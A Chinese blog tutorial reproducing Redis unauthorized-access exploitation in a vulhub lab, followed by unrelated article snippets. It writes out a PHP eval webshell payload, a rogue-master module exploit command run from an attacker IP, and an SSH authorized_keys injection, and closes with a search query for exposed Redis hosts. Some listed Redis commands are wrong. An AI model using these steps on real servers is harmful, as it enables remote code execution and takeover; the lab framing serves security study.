Redis未授权访问漏洞复现与工具安装

目录

一、漏洞简介

二、靶场搭建

三、漏洞检测

四、工具安装

五、远程连接

六、利用Redis写入webshell

七、redis-getShell工具

八、ssh公私钥免密登录

九、其他


一、漏洞简介

redis是一个数据库,默认端口是6379,redis默认是没有密码验证的,可以免密码登录操作,攻击者可以通过操作redis进一步控制服务器。Redis未授权访问影响版本为5.0.5以下,可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。

二、靶场搭建

漏洞复现基于vulhub靶场

关于docker、docker-compose、vulhub这些的安装我就不介绍了,网上有教程。

安装好vulhub靶场,切换到Redis目录

cd redis

进入未授权访问漏洞 

cd 4-unacc

 拉取镜像

docker-compose up -d

拉取成功后,查看运行的容器

docker ps 

三、漏洞检测

新建一个IP.txt,输入我们虚拟机kali的IP用于测试

写个脚本进行漏洞检测(我们这里只检测默认端口6379)

运行后发现192.168.249.128确实存在未授权访问漏洞

四、工具安装

基于redis-cli工具

我们再开一台kali

我也是刚装的,以前一台就够用了

"the quieter you become,the more you are able to hear"

给kali安装redis-cli远程连接工具

下载

wget http://download.redis.io/redis-stable.tar.gz

解压 

tar -zxvf redis-stable.tar.gz

切换到redis-stable

cd redis-stable

 

使用make命令自动编译文件

make 

将src下的redis-cli 复制到 /usr/bin/(相当于Windows的添加环境变量)

cp src/redis-cli /usr/bin/

验证工具是否配置成功

redis-cli -h

没有报错 ,至此我们已经成功安装redis-cli 

五、远程连接

使用redis-cli命令直接远程免密登录redis主机

(也可以追加参数-p指定端口,默认是在6379)

redis-cli -h 目标主机IP

如果有密码则使用

redis-cli -h 目标主机IP -p 端口6379 -a 登录密码

常用命令

1.查看信息:info
2.删除所有数据库內容:flushable
3.刷新数据库:flush
4.查看所有键:keys *,使用 select num可以查看键值数据
5.设置变量:set test "myon"
6.config set dir dirpath设置路径等配置
7.config get dir/filename获取路径及数据配置信息
8.save保存
9.get变量:查看变量名称

比如我们执行info命令查看信息

如果能成功回显正常内容,那么基本上可以确认是存在Redis未授权访问漏洞的。

六、利用Redis写入webshell

首先补充一个知识点:

进入docker容器的命令

docker exec -it 容器id号 /bin/bash

这样我们就可以知道docker容器里的目录信息 

接下来我们通过Redis远程连接写入webshell

比如我们写在tmp目录下,设置文件位置和文件名

config set dir /tmp
config set dbfilename shell.php

看到OK说明就是执行成功了的 

写入webshell内容

set xxx "<?php eval($_REQUEST[cmd]);?>" 
或者
set xxx "\r\n\r\n<?php eval($_REQUEST['cmd']);?>\r\n\r\n"   

\r\n\r\n 代表换行的意思,用redis写入文件的会自带一些版本信息,如果不换行可能会导致无法执行,因此推荐使用第二种。

写入之后,使用save命令保存

此时,我们在靶场容器的tmp目录下就可以看到这个一句话木马

但是我们只知道shell.php在docker容器的路径,无法知道shell.php的绝对路径,因此无法从外界直接访问到也无法使用蚁剑连接,除非我们能找到文件的绝对路径。

七、redis-getShell工具

下载与编译

git clone https://github.com/vulhub/redis-rogue-getshell.git
cd redis-getShell
cd RedisModulesSDK/
make

利用此工具进行getShell,执行任意命令

切回上一级目录

使用Python执行

python redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "要执行的命令"

比如

python redis-master.py -r 192.168.249.128 -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "whoami"

或者使用./执行

./redis-master.py -r 靶机IP -p 6379 -L 攻击机IP -P 8989 -f RedisModulesSDK/exp/exp.so -c "whoami"

八、ssh公私钥免密登录

登陆linux有几种方式,最常用的是密码登陆和RSA key 登陆,RSA key登陆是生成一个公私对应的秘钥,然后将公钥放到linux系统的/root/.ssh/authorized_keys的文件中,我们本地客户端通过导入对应私钥进行登陆,这就是RSA key的登陆方式。
但是为什么redis可以获取服务器的root权限呢?
上面RSA key的登陆方式在服务器方面是要将公钥写入authorized_keys文件中的,而redis有一种持久化方式是生成RDB文件,通过持久化将公钥写入root下的authored_keys文件里,这样就将非法的公钥写到了验证文件里,后面我们拿对应私钥登陆即可。(但是这种方式需要再redis是root启动的情况下使用,因为非root权限无法进入/root目录)

 在攻击机中生成ssh公钥和私钥文件,密码为空

ssh-keygen -t rsa

进入/root/.ssh目录下,将生成的公钥保存到myon.txt

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > myon.txt

使用redis-cli 命令连接靶机,把myon.txt写入redis中  

cat myon.txt | redis-cli -h 192.168.249.128 -x set crack

遇到报错:(error) READONLY You can't write against a read only slave

报错原因:

Redis 主服务器(master server)具有读写的权限,而 从服务器(slave master)默认 只具有 读 的权限。如果强行在从服务器中接入数据,则报错提示“(error) READONLY You can't write against a read only slave”。 

解决方法:

方法1:修改 redis.conf 配置文件(永久生效)
        修改 redis.conf 配置文件中的参数  slave-read-only  yes ,将 yes 修改为 no ;

        然后保存并重启 redis 服务,此刻从服务器就具备了 读写权限。

        (注意:此方法必须重启 Redis 服务,才能使配置生效。)

方法2:redis-cli 命令行中使用 config set 命令修改
       在从Redis从服务器客户端命令行中 (redis-cli),通过 config set slave-read-only no 进行设置,立即生效,不需要重启 Redis 服务。

       (注意:若Redis从服务器重新启动,之前的设置参数就会失效,又会出现 redis 从服务器只有读权限。)

这里只是测试,我使用方法二进行修改

成功

再次执行上述命令

OK

更改目标服务器Redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh)  

config set dir /root/.ssh

报错:(error) ERR Changing directory: Permission denied

没有root权限

九、其他

资产收集

product="redis"

可以看到使用resist的IP还是很多的 

那么如果各位对实战感兴趣的话后面也可以给大家出一篇实战的,使用一些端口扫描、漏洞检测工具等进行poc的验证。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/320033.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

python查看安装包所依赖的包版本

python查看安装包所依赖的包版本 1. 找到包的位置 site-packages 文件夹的位置import gevent # ctrl 点进去就行了2. 返回包环境文件夹的上一层&#xff0c;会看到下面有一个 gevent-{版本号}.dist-info的文件夹3. 查看 METADATA 文件Requires-Dist: greenlet >2.0.0 ...#…

DHCP自动获取实验和DNS正向解析实验

一、服务程序 1.1DHCP定义 DHCP&#xff08;动态主机配置协议&#xff09;是一个局域网的网络协议。指的是由服务器控制一段IP地址范围&#xff0c;客户机登录服务器时就可以自动获得服务器分配的IP地址和子网掩码。默认情况下&#xff0c;DHCP作为Windows Server的一个服务组…

spring基于XML方式的组件管理

基本介绍 依赖注入是一种处理对象间依赖关系的技术。在Spring中&#xff0c;依赖注入有构造方法注入和设值注入两种方式。 设值注入是将依赖作为成员变量&#xff0c;通过主调类的setter方法注入依赖。构造方法注入则是在Bean的构造方法中注入依赖。 本次我们将通过具体例子来…

【数据库】MySQL性能分析和优化

导语 当数据量非常庞大时,使用MySQL进行select操作可能会出现耗时特别多的情况。例如:在一张百万数据的表格good中执行select * from good;查询耗时可能需要十几秒,让客户等待十几秒,是不被接受的, 此时我们就需要对相关语句进行性能分析并优化。下面就一起看一下MySQL的…

NLP论文阅读记录 - 2022 W0S | 基于Longformer和Transformer的提取摘要层次表示模型

文章目录 前言0、论文摘要一、Introduction1.1目标问题1.2相关的尝试1.3本文贡献 二.相关工作三.本文方法四 实验效果4.1数据集4.2 对比模型4.3实施细节4.4评估指标4.5 实验结果4.6 细粒度分析 五 总结思考 前言 A Hierarchical Representation Model Based on Longformer and …

鸿蒙应用开发尝鲜:初识HarmonyOS

初识HarmonyOS 来源:华为官方网站 : https://developer.huawei.com/ 相信大家对鸿蒙应用开发也不在陌生,很多身处互联网行业或者不了解的人们现在也一定都听说过华为鸿蒙.这里我将不再说废话,直接步入正题 鸿蒙应用开发语言 HarmonyOS应用开发采用的是ArkTS语言,ArkTS是在Typ…

WEB前端人机交互导论实验-实训2格式化文本、段落与列表

1.项目1 文本与段落标记的应用&#xff1a; A.题目要求: B.思路&#xff1a; &#xff08;1&#xff09;首先&#xff0c;HTML文档的基本结构是通过<html>...</html>标签包围的&#xff0c;包含了头部信息和页面主体内容。 &#xff08;2&#xff09;在头部信息…

深度学习中的稀疏注意力

稀疏注意力 文章目录 一、稀疏注意力的特点 1. 单头注意力&#xff08;Single-Head Attention&#xff09; 2. 多头注意力&#xff08;Multi-Head Attention&#xff09; 3. 稀疏注意力&#xff08;Sparse Attention&#xff09; 二、稀疏注意力的示意图 三、与Flash Attention…

HTML--CSS--字体、文本样式

字体样式 属性作用font-family字体类型font-size字体大小font-weight字体粗细font-style字体风格color字体颜色 font-family 字体类型 用法&#xff1a; 如下&#xff0c;定义 div元素内的字体&#xff0c;默认是宋体&#xff0c;要设定其他字体就用这个属性进行设定&#x…

汽车ECU的虚拟化技术初探(四)--U2A内存管理

目录 1.内存管理概述 2. 内存保护功能 2.1 SPID 2.2 Slave Guard 3.小结 1.内存管理概述 为了讲清楚U2A 在各种运行模式、特权模式下的区别&#xff0c;其实首先应该搞清楚不同模式下可以操作的寄存器有哪些。 但是看到这个寄存器模型就头大。 再加上之前没有研究过G4MH…

CSS 雷达监测效果

<template><view class="center"><view class="loader"><view></view></view></view></template><script></script><style>/* 设置整个页面的背景颜色为深灰色 */body {background-col…

[NSSCTF Round#16 Basic]RCE但是没有完全RCE

[NSSCTF Round#16 Basic]RCE但是没有完全RCE 第一关 <?php error_reporting(0); highlight_file(__file__); include(level2.php); if (isset($_GET[md5_1]) && isset($_GET[md5_2])) {if ((string)$_GET[md5_1] ! (string)$_GET[md5_2] && md5($_GET[md…

【AIGC】AnimateDiff:无需定制化微调的动画化个性化的文生图模型

前言 Animatediff是一个有效的框架将文本到图像模型扩展到动画生成器中&#xff0c;无需针对特定模型进行调整。只要在大型视频数据集中学习到运动先验知识。AnimateDiff就可以插入到个性化的文生图模型中&#xff0c;与Civitai和Huggingface的文生图模型兼容&#xff0c;也可…

docker部署私人云盘

目录 1.安装 2.登陆 1.安装 mkdir -p /opt/alist docker run -d --restartalways -v /opt/alist:/opt/alist/data -p 5244:5244 --name"alist" xhofe/alist:latest 2.登陆 ip:5224 默认账户admin 密码在日志中

逆水行舟 不进则退

目录 一、前言 二、2023年度总结 三、2024展望未来 一、前言 这是我从工作以来到现在最喜欢的一句话&#xff0c;我想把这句话送给自己也想送给大家。 2019年7月实习到现在已经过去了四年多&#xff0c;进入2024年也迎来了我工作生涯的第五个年头。 在这个行业里&#xff…

《教育界》期刊怎么投稿发表论文?

《教育界》是国家新闻出版总署批准的正规教育类期刊&#xff0c;由广西师范大学主管&#xff0c;广西师范大学出版社集团有限公司主办&#xff0c;面向国内外公开发行&#xff0c;旨在追踪教育新动向&#xff0c;探讨教育改革与管理、办学与教育教学经验等&#xff0c;为广大一…

Linux scp命令 服务器之间通讯

目录 一. scp命令简介二. 本地服务器文件传输到远程服务器三. 本地服务器文件夹传输到远程服务器 一. scp命令简介 scp&#xff08;Secure Copy Protocol&#xff09;是用于在Unix或Linux系统之间安全地复制文件或目录的命令。 它使用SSH&#xff08;Secure Shell&#xff09;…

等保测评流程是什么样的?测评周期多久?

等保测评流程是什么样的&#xff1f;测评周期多久&#xff1f; 等保测评一般分成五个阶段&#xff0c;定级、备案、测评、整改、监督检查。 1.定级阶段 针对用户的信息系统有等保专家进行定级&#xff0c;一般常见的系统就是三级系统或者是二级系统。在这里有一个小的区分&am…

【ArcGIS微课1000例】0088:计算城市建筑物朝向(矩形角度)

文章目录 一、实验描述二、实验数据三、角度计算1. 添加字段2. 计算角度四、方向计算一、实验描述 矩形要素具有长轴和短轴,其长轴方向也称为矩形面的主角度,可用于确定面要素的走向趋势。根据该方向参数,可以对具有矩形特征的地理对象进行方向分析,且适用于很多应用场景,…

8.1 Centos安装部署Redis

文章目录 前言一、下载Redis二、编译Redis三、配置redis.conf四、启动Redis服务端五、启动Redis客户端测试前言 本文将手把手演示在CentOS7上安装部署Redis。 一、下载Redis 可以使用wget命令进行下载,这里下载到/app目录 wget http://download.redis.io/releases/redis-5.…